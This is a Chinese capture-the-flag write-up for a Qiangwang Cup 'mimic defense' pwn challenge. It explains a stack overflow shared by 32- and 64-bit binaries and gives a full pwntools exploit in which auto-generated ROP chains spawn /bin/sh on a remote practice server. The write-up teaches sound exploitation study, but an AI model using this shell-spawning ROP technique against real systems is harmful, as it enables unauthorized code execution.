概述
做了一道拟态防御的题目。程序给了两个附件,一个32位一个64位。只有PIE保护没有开启。
32位
int vul()
{
char v1; // [esp+Ch] [ebp-10Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
j_memset_ifunc((int)&v1, 0, 256);
read(0, &v1, 768);
return puts(&v1);
}
非常明显的一个溢出
64位
__int64 vul()
{
__int64 v0; // rdx
char buf; // [rsp+0h] [rbp-110h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
j_memset_ifunc(&buf, 0LL, 256LL);
read(0, &buf, 0x300uLL);
return puts(&buf, &buf, v0);
}
和32位的程序是一模一样的。
到这里我就懵了,不知道啥意思,于是我就去搜集了一些拟态防御的资料。
总结了一下就是,构建不同的架构组件,来实现相同的业务。当有黑客进行攻击的时候,这些相同的业务输出不同就能识别黑客攻击。
这里的话因该就是,靶机上运行了两个程序,32位和64位,当我们去发payload的时候,必须32位和64位同时打通,否则就会报错(应为打通一个的话,另外一个输出不同)
看一下,溢出长度是0x110没错,但是32位到ret_addr
是0x114而64位是0x118,所以我们需要控制返回地址做一点改变,
32位返回地址在64位里面是fake_rbp,所以如果我们让32位的地方是add esp,4
然后再写ROP
那么就可以两个都打通了。
这个题提供了便利,因为都是静态编译,所以肯定有很多gadget
,尝试去搜一下。
0x0804f095 : add esp, 0x1c ; ret
0x080a69f2 : add esp, 0x20 ; ret
0x0804991a : add esp, 0x2c ; ret
0x080a8f69 : add esp, 0xc ; ret
0x000000000044a699 : add rsp, 0x148 ; ret
0x0000000000414ef8 : add rsp, 0x18 ; ret
0x000000000043b749 : add rsp, 0x28 ; ret
0x0000000000461f85 : add rsp, 0x38 ; ret
0x000000000046d438 : add rsp, 0x48 ; ret
0x000000000043b979 : add rsp, 0x58 ; ret
0x000000000043b86b : add rsp, 0x68 ; ret
0x0000000000461d30 : add rsp, 0x78 ; ret
0x000000000040cd17 : add rsp, 0x80 ; ret
0x00000000004079d4 : add rsp, 0xd8 ; ret
0x0000000000400412 : add rsp, 8 ; ret
可以选择 add esp,0xc
和 add rsp,(32位ROP的长度+0x8)
。
然后我以为要去泄露libc啥的,但是我发现了ROPgadget的一个新东西,当我们gadget够多的时候,可以
ROPgadget --binary pwn --ropchain
自动生成ROP链,直接getshell
来看看32位的
直呼nb,把哪些inc eax改一下。然后算一下长度。
100
然后发现找不到适合的gadget,于是我们随便选择了一个。
0xd8,写了如下payload
payload = 'a'.ljust(0x10c + 0x4,'x00') + p32(add_esp_0ch_addr) + 'x00'*4
payload += p64(add_rsp_d8h_addr) + payload32.ljust(0xd8,'x00') + payload64
0x10c+0x4是32位的ret,然后接上0x1c的无效字符(对32位来说),最后就是32位的payload,64位的返回地址刚好是0x110+0x8的地方。
exp
from pwn import *
from struct import *
context(log_level = 'debug',os = 'linux',arch = 'i386')
#sh = process("./pwn2")
#sh = process("./pwn")
sh = remote("node3.buuoj.cn","26678")
p = ''
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite e
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ;ret
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080495a3) # int 0x80
payload32 = p
p = ''
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += p64(0x3b)
p += pack('<Q', 0x00000000004011dc) # syscall
payload64 = p
print len(payload64)
add_esp_0ch_addr = 0x080a8f69
add_rsp_d8h_addr = 0x00000000004079d4
payload = 'a'.ljust(0x10c + 0x4,'x00') + p32(add_esp_0ch_addr) + 'x00'*4
payload += p64(add_rsp_d8h_addr) + payload32.ljust(0xd8,'x00') + payload64
sh.sendlineafter("We give you a little challenge, try to pwn it?n",payload)
sh.interactive()
如上,学到了ROPchain
最后
以上就是平常冰棍为你收集整理的强网杯-拟态的全部内容,希望文章能够帮你解决强网杯-拟态所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复